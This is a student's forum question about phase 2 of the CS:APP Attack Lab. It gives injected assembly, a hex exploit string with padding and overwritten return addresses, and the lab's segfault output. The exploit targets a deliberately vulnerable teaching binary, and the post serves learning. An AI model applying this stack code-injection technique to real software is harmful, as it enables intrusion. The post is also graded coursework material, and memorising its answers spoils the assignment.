title: Buffer overflow Attack (The Attack Lab phase 2)
body: <p>I have a buffer overflow lab I have to do for a project called <a href="http://csapp.cs.cmu.edu/3e/attacklab.pdf" rel="nofollow noreferrer">The Attack Lab</a>. I'm on phase 2 of the lab, and I have to inject code as part of my exploit string in order to make the program point to the address of the function touch2(). I've gotten to the point where the output says that its a valid solution for phase 2, but then it says I caused a seg fault and then says I failed the phase.</p>
  
  <p>This is the error message I receive</p>
  
  <pre><code>cookie:  0x2d6fc2d5
  Type string:Touch2!: You called touch2(0x2d6fc2d5)
  valid solution for level 2 with target ctarget
  ouch! You caused a segmentation fault!
  better luck next time
  FAILED
  </code></pre>
  
  <p>this is my exploit code in assembly</p>
  
  <pre><code>mov1 $0x2d6fc2d5, %rdi
  retq
  </code></pre>
  
  <p>this is what I pass into the program</p>
  
  <pre><code>48 c7 c7 d5 c2 6f 2d c3 #bytecode of exploit code
  00 00 00 00 00 00 00 00 #padding of 0x38, amount needed to overwrite ret address 
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  68 bd 66 55 00 00 00 00 #address of rsp - 0x38
  0d 18 40 00 00 00 00 00 #address of touch2()
  </code></pre>
  
  <p>I've looked at tutorials online and have been working on this for hours, but I haven't found a solution and I'm not sure what's causing the issue. It says the solution is valid, but then seg faults and fails. Any help would be greatly appreciated and let me know if there's anything that needs clarifying!</p>